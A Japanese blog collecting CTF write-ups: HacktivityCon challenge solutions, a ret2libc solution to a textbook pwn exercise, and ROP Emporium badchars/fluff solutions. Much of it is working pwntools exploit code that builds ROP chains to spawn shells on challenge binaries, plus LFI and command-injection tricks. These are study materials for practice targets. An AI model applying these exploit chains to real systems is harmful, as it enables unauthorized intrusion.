HacktivityCon CTF Statics and Dynamics 〜システムコールでシェルを起動する〜
本番は解けなかったんですが、writeup 読んで「すげぇ!」になったのでメモ。
本番中の考察
BOFを発見したので、ROPでシェルを開く事を目指しました。
しかし、IDAで関数とか眺めても、system
やexecve
が含まれている感じがなかったので、直接flag.txt
を開くのかなーとか考えつつも、ファイルを開く方法が分からず苦戦。
結局解けず。
知見
アセンブリでシステムコールを呼び出す事によって、read
やexecve
を呼び出せます。
システムコールには命令ごとに番号がついていて、x86-64の場合例えばread
は0、execve
は59です。
詳細は Syscall Number for x86-64 linux (A) を参照して下さい。
通常、関数の引数はrdi
,rsi
,rdx
... の順に入れていくんですが、システムコールの際にはこれに加えてシステムコールの番号をrax
に入れます。
解法
今回の場合、システムコールでexecve("/bin/sh",NULL,NULL)
を呼び出せば良い事になります。
ですが、肝心の"/bin/sh"
は当然バイナリの中には含まれていないので、どこかにこれを書き込む必要があります。
そこで、read
をシステムコールで呼び出して、適当な場所に"/bin/sh"
を書き込む事を考えます。
その適当な場所ですが、今回はbssセクションを使います。何かデータを書き込みたい時は、適当にbssを使えば何とかなるってマックで女子高校生が言ってました。
ということで、BOFからのROPでread(0,bssのアドレス,書き込む長さ)
を呼び出してbssに"/bin/sh"
を書き込んだ後に
execve(bssのアドレス,NULL,NULL)
を呼び出します。
攻撃準備
攻撃コードを作成する前に、必要なgadgetを揃えましょう。
今回必要なのは、read
で引数に値を入れるための
pop rdi; ret;
, pop rsi; ret;
, pop rdx; ret;
、
システムコールを呼び出すための
pop rax; ret;
, syscall; ret;
です。
rp -f sad -r 1|grep "pop rdi;"
とか調べれば出てきます。
攻撃コード
準備ができた所で、後は攻撃コードを作成するのみです。
ほとんどCTFtimeのwriteup の写経です。
from pwn import * elf=ELF("./sad") #p=process("./sad") p=remote("jh2i.com",50002) POP_RDI=0x004816a2 POP_RSI=0x0047c198 POP_RDX=0x0040177f POP_RAX=0x0043f8d7 SYSCALL=0x0040eda4 BSS=elf.bss() WRITE=b"/bin/sh\x00" payload=b"A"*264 # read(0,BSS,len(WRITE)) payload+=p64(POP_RDI) payload+=p64(0) payload+=p64(POP_RSI) payload+=p64(BSS) payload+=p64(POP_RDX) payload+=p64(len(WRITE)) payload+=p64(POP_RAX) payload+=p64(0) payload+=p64(SYSCALL) # execve(BSS,NULL,NULL) payload+=p64(POP_RDI) payload+=p64(BSS) payload+=p64(POP_RSI) payload+=p64(0) payload+=p64(POP_RDX) payload+=p64(0) payload+=p64(POP_RAX) payload+=p64(59) payload+=p64(SYSCALL) p.sendline(payload) p.sendline(WRITE) p.interactive()
実行すると、ちゃんとシェルが開きます。
ポエム
このバイナリ、SSP有効だったんですがなんでBOF Attackができたんでしょうか...不思議です。
システムコールって便利ですね。BOF Attackが効く問題って割とこれでできる気がしてきました(ホントか?)
でもPIEとかついてたら、結局アドレスリークしないといけませんね。
HacktivityCon CTF 参加記 , Writeup
雑
CTFの問題は割と解いた事があったのですが、CTFのコンテスト自体に参加するのは始めてでした。
全体として1310点、1974人中201位で割と良かったのかなと思います。
ですが、Web系の知識の欠如が深刻な事に気づきました。Web、範囲が広すぎてどこから手を出せばいいのか...
CTFやると競プロが手につかなくなり、競プロやるとCTFが手につかなくなる、これどうすりゃいいの!!
???「あれ、学業はどうしたんですか?」
Web
600人以上解いてるLadybugが解けませんでした。チクショー!
結局ACは1問だけです。
Bite
?page=hoge で読み込んでいるので、hogeの部分にflagを入れたら出てくるかなーと思ったらヒントが出てきました。
しかし、page=/flag.txt と入れると最後に.phpが付けられてしまいます。
そこで、null byteを表す %00 をURLの最後につけてやると、FLAGが表示されました。
かなり有名なテクニックですね。
Crypto
Pythonのいい勉強になりました。
Tyrannosaurus
配布されたファイルの中身
#!/usr/bin/env python import base64 import binascii h = binascii.hexlify b = base64.b64encode c = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067' def enc(f): e = b(f) z = [] i = 0 while i < len(e): z += [e[i] ^ e[((i + 1) % len(e))]] i = i + 1 c = h(bytearray(z)) return c
cというのは、enc(c)
をした後の値でしょう。
XORがぐるぐる回っているので、1文字目を全部調べればどれかは正解です。
月刊競技プログラミングは役に立つ
そこで、以下のようなコードを書くとflagが出力されました。
#!/usr/bin/env python import base64 import binascii h = binascii.hexlify b = base64.b64encode c = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067' g = binascii.unhexlify bb = base64.b64decode def dec(f): f = g(f) print(f) for i in range(0x100): ans = "" ans += chr(i) now = i for j in range(len(f)-1): memo=int(f[j:j+1].hex(),16) ans+=chr(now^memo) now^=memo try: flag=bb(ans) if b"flag" in flag: print(flag) except: pass dec(c)
Perfect XOR
配布されたファイル
import base64 n = 1 i = 0 cipher_b64 = b"MTE0LDg0LDQzNyw4MDk1LDMzNTUwNDM0LDg1ODk4NjkxNzAsMTM3NDM4NjkxMzc2LDIzMDU4NDMwMDgxMzk5NTIyMzUsMjY1ODQ1NTk5MTU2OTgzMTc0NDY1NDY5MjYxNTk1Mzg0MjI0NSwxOTE1NjE5NDI2MDgyMzYxMDcyOTQ3OTMzNzgwODQzMDM2MzgxMzA5OTczMjE1NDgxNjkyOTQsMTMxNjQwMzY0NTg1Njk2NDgzMzcyMzk3NTM0NjA0NTg3MjI5MTAyMjM0NzIzMTgzODY5NDMxMTc3ODM3MjgyMjMsMTQ0NzQwMTExNTQ2NjQ1MjQ0Mjc5NDYzNzMxMjYwODU5ODg0ODE1NzM2Nzc0OTE0NzQ4MzU4ODkwNjYzNTQzNDkxMzExOTkxNTIyMTYsMjM1NjI3MjM0NTcyNjczNDcwNjU3ODk1NDg5OTY3MDk5MDQ5ODg0Nzc1NDc4NTgzOTI2MDA3MTAxNDMwMjc1OTc1MDYzMzcyODMxNzg2MjIyMzk3MzAzNjU1Mzk2MDI2MDA1NjEzNjAyNTU1NjY0NjI1MDMyNzAxNzUwNTI4OTI1NzgwNDMyMTU1NDMzODI0OTg0Mjg3NzcxNTI0MjcwMTAzOTQ0OTY5MTg2NjQwMjg2NDQ1MzQxMjgwMzM4MzE0Mzk3OTAyMzY4Mzg2MjQwMzMxNzE0MzU5MjIzNTY2NDMyMTk3MDMxMDE3MjA3MTMxNjM1Mjc0ODcyOTg3NDc0MDA2NDc4MDE5Mzk1ODcxNjU5MzY0MDEwODc0MTkzNzU2NDkwNTc5MTg1NDk0OTIxNjA1NTU2NDcwODcsMTQxMDUzNzgzNzA2NzEyMDY5MDYzMjA3OTU4MDg2MDYzMTg5ODgxNDg2NzQzNTE0NzE1NjY3ODM4ODM4Njc1OTk5OTU0ODY3NzQyNjUyMzgwMTE0MTA0MTkzMzI5MDM3NjkwMjUxNTYxOTUwNTY4NzA5ODI5MzI3MTY0MDg3NzI0MzY2MzcwMDg3MTE2NzMxMjY4MTU5MzEzNjUyNDg3NDUwNjUyNDM5ODA1ODc3Mjk2MjA3Mjk3NDQ2NzIzMjk1MTY2NjU4MjI4ODQ2OTI2ODA3Nzg2NjUyODcwMTg4OTIwODY3ODc5NDUxNDc4MzY0NTY5MzEzOTIyMDYwMzcwNjk1MDY0NzM2MDczNTcyMzc4Njk1MTc2NDczMDU1MjY2ODI2MjUzMjg0ODg2MzgzNzE1MDcyOTc0MzI0NDYzODM1MzAwMDUzMTM4NDI5NDYwMjk2NTc1MTQzMzY4MDY1NTcwNzU5NTM3MzI4MjQy" def a(n): b = 0 for i in range(1, n): if(n % i == 0): b += i return b == n print("flag{", end='', flush=True) cipher = base64.b64decode(cipher_b64).decode().split(",") while(i < len(cipher)): if (a(n)): print(chr(int(cipher[i]) ^ n), end='', flush=True) i += 1 n+=1 print("}")
コードを読むと、どうやら完全数の時だけ出力しているようですね。完全数は非常に大きいので、この調子ではいつまで経っても終わりません。
cipher
の長さが14とかなので、完全数でググって出てきたのを貼るとFLAGが出力されました。
import base64 cipher_b64 = b"MTE0LDg0LDQzNyw4MDk1LDMzNTUwNDM0LDg1ODk4NjkxNzAsMTM3NDM4NjkxMzc2LDIzMDU4NDMwMDgxMzk5NTIyMzUsMjY1ODQ1NTk5MTU2OTgzMTc0NDY1NDY5MjYxNTk1Mzg0MjI0NSwxOTE1NjE5NDI2MDgyMzYxMDcyOTQ3OTMzNzgwODQzMDM2MzgxMzA5OTczMjE1NDgxNjkyOTQsMTMxNjQwMzY0NTg1Njk2NDgzMzcyMzk3NTM0NjA0NTg3MjI5MTAyMjM0NzIzMTgzODY5NDMxMTc3ODM3MjgyMjMsMTQ0NzQwMTExNTQ2NjQ1MjQ0Mjc5NDYzNzMxMjYwODU5ODg0ODE1NzM2Nzc0OTE0NzQ4MzU4ODkwNjYzNTQzNDkxMzExOTkxNTIyMTYsMjM1NjI3MjM0NTcyNjczNDcwNjU3ODk1NDg5OTY3MDk5MDQ5ODg0Nzc1NDc4NTgzOTI2MDA3MTAxNDMwMjc1OTc1MDYzMzcyODMxNzg2MjIyMzk3MzAzNjU1Mzk2MDI2MDA1NjEzNjAyNTU1NjY0NjI1MDMyNzAxNzUwNTI4OTI1NzgwNDMyMTU1NDMzODI0OTg0Mjg3NzcxNTI0MjcwMTAzOTQ0OTY5MTg2NjQwMjg2NDQ1MzQxMjgwMzM4MzE0Mzk3OTAyMzY4Mzg2MjQwMzMxNzE0MzU5MjIzNTY2NDMyMTk3MDMxMDE3MjA3MTMxNjM1Mjc0ODcyOTg3NDc0MDA2NDc4MDE5Mzk1ODcxNjU5MzY0MDEwODc0MTkzNzU2NDkwNTc5MTg1NDk0OTIxNjA1NTU2NDcwODcsMTQxMDUzNzgzNzA2NzEyMDY5MDYzMjA3OTU4MDg2MDYzMTg5ODgxNDg2NzQzNTE0NzE1NjY3ODM4ODM4Njc1OTk5OTU0ODY3NzQyNjUyMzgwMTE0MTA0MTkzMzI5MDM3NjkwMjUxNTYxOTUwNTY4NzA5ODI5MzI3MTY0MDg3NzI0MzY2MzcwMDg3MTE2NzMxMjY4MTU5MzEzNjUyNDg3NDUwNjUyNDM5ODA1ODc3Mjk2MjA3Mjk3NDQ2NzIzMjk1MTY2NjU4MjI4ODQ2OTI2ODA3Nzg2NjUyODcwMTg4OTIwODY3ODc5NDUxNDc4MzY0NTY5MzEzOTIyMDYwMzcwNjk1MDY0NzM2MDczNTcyMzc4Njk1MTc2NDczMDU1MjY2ODI2MjUzMjg0ODg2MzgzNzE1MDcyOTc0MzI0NDYzODM1MzAwMDUzMTM4NDI5NDYwMjk2NTc1MTQzMzY4MDY1NTcwNzU5NTM3MzI4MjQy" perfect=[ 6, 28, 496, 8128, 33550336, 8589869056, 137438691328, 2305843008139952128, 2658455991569831744654692615953842176, 191561942608236107294793378084303638130997321548169216, 13164036458569648337239753460458722910223472318386943117783728128, 14474011154664524427946373126085988481573677491474835889066354349131199152128, 23562723457267347065789548996709904988477547858392600710143027597506337283178622239730365539602600561360255566462503270175052892578043215543382498428777152427010394496918664028644534128033831439790236838624033171435922356643219703101720713163527487298747400647801939587165936401087419375649057918549492160555646976, 141053783706712069063207958086063189881486743514715667838838675999954867742652380114104193329037690251561950568709829327164087724366370087116731268159313652487450652439805877296207297446723295166658228846926807786652870188920867879451478364569313922060370695064736073572378695176473055266826253284886383715072974324463835300053138429460296575143368065570759537328128 ] print("flag{", end='', flush=True) cipher = base64.b64decode(cipher_b64).decode().split(",") for i in range(len(cipher)): if True: print(chr(int(cipher[i]) ^ perfect[i]), end='', flush=True) i += 1 print("}")
こっちの方が簡単な気がします。
Binary Exploitation
割と得意分野なのに、1問しか解けなくて悲しい...
Pancakes
BOFがありました。secret_recipe
っていうFLAGを出力する関数があったので、これを呼びます。
やるだけ
from pwn import * #p=process("./pancakes") p=remote("jh2i.com",50021) elf=ELF("./pancakes") payload=b"A"*152 payload+=p64(elf.symbols['secret_recipe']) p.sendline(payload) print(p.recvall())
Steganography
色々ググりながらやっていく内に、解ける問題が増えました。
Spy vs. Spy
stegsolveをダウンロードして、ファイルを解析すると解けます。
stegsolveの存在を知らず、だいぶ悩んでいました。
Chess Cheater
自分の耳で解析するのは中々無理があるので、ツールに頼りましょう。
モールス信号を音からデコードしてくれるやつ に投げます。解けます。おしまい!
Busted
画像ファイルのExifを解析すると、ctrl+alt+e
とコメントしてありました。そこで、steghideのextract時のパスフレーズにctrl+alt+e
を入れると、flag.txt
が展開されました。個人的に好きな問題です。
Scripting
1問目のMisdirectionが解けなかったのがかなり悔しいですね...
やはりWeb系が壊滅的です。
Prophecy
接続すると、数を当てろと言われるので乱数かと思ったら固定値でした。
そのため、1つずつ数を確定していけばいいのですが、手作業だときつそうのでスクリプトを書きました。(Scriptingだしね!)
from pwn import * lst=[] while True: print(lst) p=remote("jh2i.com",50012) for i in range(len(lst)): p.sendlineafter(b"W H A T I S T H E N E X T N U M B E R T O C O M E F R O M T H E F U T U R E ?",str(lst[i])); p.sendline(b"1000000000000000000000000000") try: p.recvuntil(b"T H E C O R R E C T N U M B E R W A S ") lst.append(int(p.recvline().decode('utf-8'))) except : print(p.recvall()) break
答えの数列の長さは20でした。まぁ、手作業でもできないことはないか。
Tootsie Pop
Zipファイルが与えられるのですが、いくら展開してもファイルがあります。
gzip,xz,bunzip2,zipで適当な順番で途方もない回数で圧縮されているようでした。
しばらく手作業でやった後、ファイルのサイズが一向に減らない事に気づきスクリプトを書きましたが、時々止まるのでその度に手作業でちょっと直すというクソスクリプトなので載せるのはやめておきます。
Misc
Cat Cage
grepが出せないなーと思ったら、/bin/grep で行けました。
また、
/bin/grep -r flag ./*
だとダメだったのに
/bin/grep -r flag{ ./*
だとFLAGが出力されました。なんでだろ?
His Story
なんか解いてたんですが、解法が思い出せません...
/bin/cat flag.txt
で解けて驚いたとかの記憶があったようななかったような...
さっき見たらスラッシュが入れられなくなっていました。解いた時はそうじゃなかったような気が??
勘違いかもです。不正疑惑
Forensics
あんまりまともに解けませんでした。SteganoってForensicsに含まれないんですかね?
Opposable Thumbs
foremostにかけると、flagの表示された画像が中に入っていた事が分かります。終わり
Warmups
Read The Rules
ルールのHTMLの下の方に、flagがコメントされていました。
Caesar Mirror
シーザー暗号/ROT13です。有名ですね。
Common Place
"I found it"と言っていた rfc5785
でググると、(hoge)/.well_known
を調べるみたいな事が書かれてたので適当に入れたら本当にありました。
そこにディレクトリ一覧があり、flag.txtもそこにありました。
Internet Cattos
一見するとflagが見えませんが、
nc jh2i.com 50003 > nc.txt
とすると、中にflagが書かれていました。
多分バッファの位置を改行する度に上に持っていってるとかですよね。
Hexgedit
写真のHexの中に flag{
が含まれているに違いないので、flag{
を16進数に変換した
66 6c 61 67 7b
を探すと、ファイルの末尾にありました。
Private Investigator
RSAの秘密鍵が渡されるので、それを使って問題文に書いてある通りに接続すれば良いです。
chmod 777 *
とかやると、権限不備で弾かれるので注意。
Vencryption
fileコマンドで調べると、Vim encrypted file data
と書かれていたのでググると、
VimDecrypt というツールが見つかるのでダウンロードします。
rockyou.txt というパスワードの候補を使って総当りするとパスワードは computer
である事が分かるので、上のツールでdecryptするとflagが表示されました。
作者さん、ありがとう!!!
コンテスト後に理解した問題集
Mobile one
これ、stringsだけで解けたっぽい。apkをdex2jarで解析してた時間を返してくれ...
基本を忘れた報いですね。
Ladybug
なんか存在しないページ出すとAssertion Errorが起きるのは分かっていたんですが、まさかそこからコマンドが開けるとは思いませんでした。
f=open("flag.txt") print(f.read())
Pseudo
/etc/sudoers.d
に機密情報が入ってるよーという話でした。
なるほどなぁ
Spaghetti
binwalkする所までは分かっていたんですが、zlib をどうするかが分かりませんでした。展開してもほぼ情報もないし...
Online File Viewer にかけると解けるっぽいです。よく分からないけど解けたからヨシ(??)
ポエム
コンテストの復習はして、後は再来週のAPIOに備えようと思います。
マジで最近競プロやらなさすぎなので。。。
では、Happy Hacking!
ハリネズミ本 pwn編 最終問題 Full RELROの場合の解法
0. 雑
CTFを学ぶ上で言わずと知れたハリネズミ本.
pwn編は特に,最初は難しいと感じるものですが,問題演習をしていく内にだんだん理解できるようになってきました.
本編で扱っている問題ファイルの中から,今回は最終問題 (step5/aslr/bof4) の別解について紹介しようと思います.
1. 問題内容
$ file bof4 bof4: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=00332e38ebe289735e8c18f44a7f7f2d3e4c45ea, not stripped $ ldd bof4 linux-gate.so.1 (0xf7f5d000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d4c000) /lib/ld-linux.so.2 (0xf7f5e000) $ checksec.sh --file bof4 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH bof4
※ただし,ASLRは有効
率直に言うと,バッファオーバーフローがあり,write
やread
関数がバイナリに含まれていてかつFULL RELROでないので,write
で__libc_start_main
のGOTアドレスリークからのlibc_base
リーク,read
でGOT Overwrite+"/bin/sh"
を入力でシェルを起動という感じです.正直ここは本質ではないので,詳しくは本を読んで下さい.
さて,今回はPartial RELROだったのでGOT Overwriteで解けましたがFULL RELROの場合はどうでしょう?GOTがREAD ONLYになっているので攻撃が失敗してしまいます.
2. 解法
本で紹介された解法では,main
関数を1回だけ実行する形にしていましたが,write
で__libc_start_main
のGOT
をリークした後でmain
関数に飛ばす事もできます.
そこで,libc_base
をリークした後main
に飛ばし,2回目のmain
関数のリターン時にsystem("/bin/sh")
を起動してシェルを奪う事を考えます.
3. エクスプロイト
3-1. libc base のリーク
動的リンクされているELFファイルにおいて,libc内にある関数のELF内のアドレスはlibc base
+ libc内のオフセット
という計算式で求まります.つまり,libc base
のアドレスが分かるとELF内のsystem
のアドレスや"/bin/sh"
のアドレスが分かるので嬉しいです.
まずは,バッファからリターンアドレスまでのオフセットを調べます.
gdb-pedaは入れておきましょう.以下のように調べると,51文字である事が分かります.
というわけで,取り敢えずlibc base
をリークする所までやってみます.
以下では,__libc_start_main
のGOT
アドレスにある値をwrite
でリークし,そこからlibc
内の__libc_start_main
のオフセットを引く事でlibc base
を特定しています.
GOTには,実際の関数のアドレスがどこかという情報が入っているので,これとlibc
のオフセットが分かっていればlibc base
の値が引き算で分かるという訳です.
エクスプロイトコードを書く時,pwntoolsは本当に便利なので,まだ入れてない場合は必ず入れておきましょう!!
from pwn import * elf=ELF("./bof4") libc=ELF("/lib/i386-linux-gnu/libc.so.6") p=process("./bof4") # 埋め草 payload=b"A"*51 # write(1,__libc_start_main's GOT address,4) payload+=p32(elf.plt['write']) payload+=p32(0x0804854d) #pop3 ret payload+=p32(1) payload+=p32(elf.got['__libc_start_main']) payload+=p32(4) # main関数に飛ばす payload+=p32(elf.symbols['main']) p.sendlineafter(b"Hello\n",payload) libc_start_main=u32(p.recv(4)) print(hex(libc_start_main)) libc_base=libc_start_main-libc.symbols['__libc_start_main'] print(hex(libc_base))
$ python3 exploit.py [*] '/home/defineprogram/Documents/book4b_pwn/step5/aslr/bof4' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [*] '/lib/i386-linux-gnu/libc.so.6' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Starting local process './bof4': pid 444682 0xf7cf3df0 0xf7cd5000
libc_base
の下3桁が0なので,ちゃんと特定できている事が分かります.当たり前ですが,ASLRが有効なのでlibc_base
の値は毎回変わります.
3-2. シェルの起動
リークしたlibc_base
を使ってsystem("/bin/sh")
を呼び出し,シェルを起動しましょう.
上のコードに以下のコードを追加します.
# 埋め草 payload=b"A"*51 # system("/bin/sh") payload+=p32(libc_base+libc.symbols['system']) payload+=p32(0x08048315) #pop ret payload+=p32(libc_base+next(libc.search(b"/bin/sh"))) # exit(0) payload+=p32(libc_base+libc.symbols['exit']) payload+=b"AAAA" payload+=p32(0) p.sendlineafter(b"Hello\n",payload) p.interactive()
実行してみると...
$ python3 exploit.py [*] '/home/defineprogram/Documents/book4b_pwn/step5/aslr/bof4' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [*] '/lib/i386-linux-gnu/libc.so.6' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Starting local process './bof4': pid 445018 0xf7ceadf0 0xf7ccc000 [*] Switching to interactive mode [*] Got EOF while reading in interactive $ [*] Process './bof4' stopped with exit code -11 (SIGSEGV) (pid 445018) [*] Got EOF while sending in interactive
あれぇ!?シェルが起動できていません(途中に $ と表示されているのは,pwn-toolsの)
なぜでしょう?pwn-toolsにはgdbでアタッチする機能がついているので調べてみます.
2回目の方は51個では多かったようです.そこで,さっきの追加した
payload=b"A"*51
の部分を
payload=b"AAA%AAsAABAA$AAnAACAA-AA(AADA..."
に差し替え,gdb.attach
を追加してみます.( pattern_create
のやつ )
43文字のようです.1回目の51文字とは8文字差が出ましたが,何か意味があるのでしょうか?
8って2冪だし,16の半分だし何か訳がありそうですよね.まぁそれはいいとしてオフセットが判明したので最終的な攻撃コードは以下のようになります.
from pwn import * elf=ELF("./bof4") libc=ELF("/lib/i386-linux-gnu/libc.so.6") p=process("./bof4") # 埋め草 payload=b"A"*51 # write(1,__libc_start_main's GOT address,4) payload+=p32(elf.plt['write']) payload+=p32(0x0804854d) #pop3 ret payload+=p32(1) payload+=p32(elf.got['__libc_start_main']) payload+=p32(4) # mainに飛ばす payload+=p32(elf.symbols['main']) p.sendlineafter(b"Hello\n",payload) libc_start_main=u32(p.recv(4)) print(hex(libc_start_main)) libc_base=libc_start_main-libc.symbols['__libc_start_main'] print(hex(libc_base)) # 埋め草 payload=b"A"*43 # system("/bin/sh") payload+=p32(libc_base+libc.symbols['system']) payload+=p32(0x08048315) #pop ret payload+=p32(libc_base+next(libc.search(b"/bin/sh"))) # exit(0) payload+=p32(libc_base+libc.symbols['exit']) payload+=b"AAAA" payload+=p32(0) p.sendlineafter(b"Hello\n",payload) p.interactive()
実行してみると,ちゃんとシェルが起動できていることが分かります.
一応,最後にexit(0)
したので正常終了していますね.
※セキュリティ機構の表示は配布ファイルをそのまま使っているのでPartial RELRO
のままになっていますがRELROに触れるような事はしていないので大丈夫なはず.
$ python3 exploit.py [*] '/home/defineprogram/Documents/book4b_pwn/step5/aslr/bof4' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [*] '/lib/i386-linux-gnu/libc.so.6' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Starting local process './bof4': pid 445735 0xf7cf1df0 0xf7cd3000 [*] Switching to interactive mode $ ls aslr.py bof4.txt exploit.py peda-session-bof4.txt bof4 bruteforce.py flag.txt peda-session-ls.txt bof4.c core leak.py socket $ exit [*] Got EOF while reading in interactive $ [*] Process './bof4' stopped with exit code 0 (pid 445735)
ポエム
やっぱりシェルが起動すると爽快感ありますね.Happy Hacking!
ROP Emporium埋め 後半 その1
ROP Emporium埋め 前半の続きです。
後半、書くことが長くなるので更に2つに分けます。
環境 : Ubuntu 20.04 LTS
$ lsb_release -a LSB Version: core-11.1.0ubuntu2-noarch:printing-11.1.0ubuntu2-noarch:security-11.1.0ubuntu2-noarch Distributor ID: Ubuntu Description: Ubuntu 20.04 LTS Release: 20.04 Codename: focal
5. badchars
32bit
badcharsとして、b i c / <space> f n s
を入力文字列に入れると変えられるという仕組みになっています。
明らかに/bin/sh
意識してますよね。そこでusefulGadgetsを見てみると...
08048890 <usefulGadgets>: 8048890: 30 0b xor BYTE PTR [ebx],cl 8048892: c3 ret 8048893: 89 37 mov DWORD PTR [edi],esi 8048895: c3 ret 8048896: 5b pop ebx 8048897: 59 pop ecx 8048898: c3 ret 8048899: 5e pop esi 804889a: 5f pop edi 804889b: c3 ret 804889c: 66 90 xchg ax,ax 804889e: 66 90 xchg ax,ax
前回同様 mov [edi],esi
がありますが、これに加えて xor [ebx],cl
もあります。
clというのはecxの下位8bitです。ついでにpop ebx; pop ecx;
もありますね。/bin/sh
をxorでエンコードしろって事なんでしょうか。
という訳で、ROPの流れとしては
- bss領域に
/bin/sh
それぞれの文字を0xffとのxorでエンコードしたものを書き込む。 - ecxに0xffを書き込み、clを0xffにする。
- ebxに文字を読み込み、1文字ずつxorでデコードする。
system('/bin/sh')
を呼び出す。
xorは2n回やれば元に戻ります。月刊競技プログラミングは役に立つ!
from pwn import * def f(s): res=0 s=s[::-1] for i in s: res+=ord(i) res*=0x100 return res//0x100 elf=ELF("./badchars32") p=process("./badchars32") payload=b"A"*44 payload+=p32(0x8048899) # pop esi; pop edi; ret; payload+=p32(f('/bin')^0xffffffff) payload+=p32(elf.bss()) payload+=p32(0x8048893) # mov [edi],esi; ret; payload+=p32(0x8048899) # pop esi; pop edi; ret; payload+=p32(f('/sh\x00')^0xffffffff) payload+=p32(elf.bss()+0x4) payload+=p32(0x8048893) # mov [edi],esi; ret; payload+=p32(0x8048897) # pop ecx; ret; payload+=p32(0xff) for i in range(8): payload+=p32(0x08048916) # pop ebx; ret; payload+=p32(elf.bss()+i) payload+=p32(0x8048890) # xor [ebx],cl; ret; payload+=p32(elf.plt['system']) payload+=b"AAAA" payload+=p32(elf.bss()) p.sendlineafter(b"n s\n> ",payload) p.interactive()
シェルが起動すると気持ちが良いですね。
あ^〜たまらねえぜ。
64bit
/bin/sh\x00
の最後までデコードしようとすると何故か落ちるので、途中までにしました(なんで???)
理由が分かる方いたらコメントお願いします。
from pwn import * elf=ELF("./badchars") p=process("./badchars") def f(s): res=0 s=s[::-1] for i in s: res+=ord(i) res*=0x100 return res//0x100 payload=b"A"*40 payload+=p64(0x400b33) # ret; payload+=p64(0x400b3b) # pop r12; pop r13; ret; payload += p64(f('/bin/sh\x00')^0x0000ffffffffffff) payload+=p64(elf.bss()) payload+=p64(0x400b34) # mov[r13],r12; ret; for i in range(6): payload+=p64(0x400b40) # pop r14; pop r15; ret; payload+=p64(0xff) payload+=p64(elf.bss()+i) payload+=p64(0x400b30) # xor [r15],r14; ret; payload+=p64(0x00400b39) # pop rdi; ret; payload+=p64(elf.bss()) payload+=p64(elf.plt['system']) p.sendlineafter(b"f n s\n> ",payload) p.interactive()
6. fluff
32bit
この問題好き過ぎる!パズルになっててマジで楽しい!!!競プロと似た感覚ですね。
questionableGadgets関数の中身はこうなっています。
08048670 <questionableGadgets>: 8048670: 5f pop edi 8048671: 31 d2 xor edx,edx 8048673: 5e pop esi 8048674: bd be ba fe ca mov ebp,0xcafebabe 8048679: c3 ret 804867a: 5e pop esi 804867b: 31 da xor edx,ebx 804867d: 5d pop ebp 804867e: bf be ba ad de mov edi,0xdeadbabe 8048683: c3 ret 8048684: bf ef be ad de mov edi,0xdeadbeef 8048689: 87 ca xchg edx,ecx 804868b: 5d pop ebp 804868c: ba d0 ce fa de mov edx,0xdefaced0 8048691: c3 ret 8048692: 5f pop edi 8048693: 89 11 mov DWORD PTR [ecx],edx 8048695: 5d pop ebp 8048696: 5b pop ebx 8048697: 30 19 xor BYTE PTR [ecx],bl 8048699: c3 ret 804869a: 66 90 xchg ax,ax 804869c: 66 90 xchg ax,ax 804869e: 66 90 xchg ax,ax
これを組み合わせてbss領域に/bin/sh\x00
を書き込みましょう!
まず、書き込むのは0x8048693のmov [ecx],edx
だろうと容易に予想がつきますね。
残念ながらpop ecx
もpop edx
もないので、上手くecx,edxに値を代入する必要があります。
ここで、0x804867bのxor edx,ebx
と0x804868cのmov edx,0xdefaced0
に注目しましょう。
edxに0xdefaced0を代入してから、edxをebxでxorを取ることで任意値を代入できます(バイナリ内にpop ebx
もあります)。
edxに任意値を代入する事ができたので、次はecxに注目してみます。0x8048689でxchg edx,ecx
がありますね。つまり、edxに任意値を
代入した後でこの命令を走らせれば、ecxに任意値を書き込む事ができます。
これでedx,ecxに任意値を書き込む事ができる事が分かりました。最後のmov命令では、retまでの間にecxにblでxorを取っていますが、
blはebxの下位8bitなので、1つ前のpop ebx
でebxに0を入れておけば何も起きません。
というわけで、エクスプロイトコードは以下のようになります。 一発でシェルが起動した時はかなりの快感でしたね。
from pwn import * elf=ELF("./fluff32") p=process("./fluff32") def f(s): res=0 s=s[::-1] for i in s: res+=ord(i) res*=0x100 return res//0x100 payload=b"A"*44 def rewrite(ecx,edx): res=b"" res+=p32(0x0804868c) # mov edx,0xdefaced0; ret; res+=p32(0x080483e1) # pop ebx; ret; res+=p32(ecx^0xdefaced0) res+=p32(0x0804867b) # xor edx,ebx; pop ebp; mov edi,0xdeadbabe; ret; res+=p32(0) res+=p32(0x08048689) # xchg edx,ecx; pop ebp; mov edx,0xdefaced0; ret; res+=p32(0) res+=p32(0x080483e1) # pop ebx; ret; res+=p32(f(edx)^0xdefaced0) res+=p32(0x0804867b) # xor edx,ebx; pop ebp; mov edi,0xdeadbabe; ret; res+=p32(0) res+=p32(0x08048693) # mov DWORD PTR [ecx],edx; pop ebp; pop ebx; xor [ecx],bl; ret; res+=p32(0) res+=p32(0) return res payload+=rewrite(elf.bss(),'/bin') payload+=rewrite(elf.bss()+4,'/sh\x00') payload+=p32(elf.plt['system']) payload+=b"AAAA" payload+=p32(elf.bss()) p.sendline(payload) p.interactive()
64bit
レジスタの名前が変わった以外のロジックはほぼ同じです。
今回はretをダミーの後と、pltの呼び出し前に置いたら上手く行きました。
まぁpwntoolsの機能でgdbのattachできるのでmovapsで落ちてるとかはすぐ気がつけます。
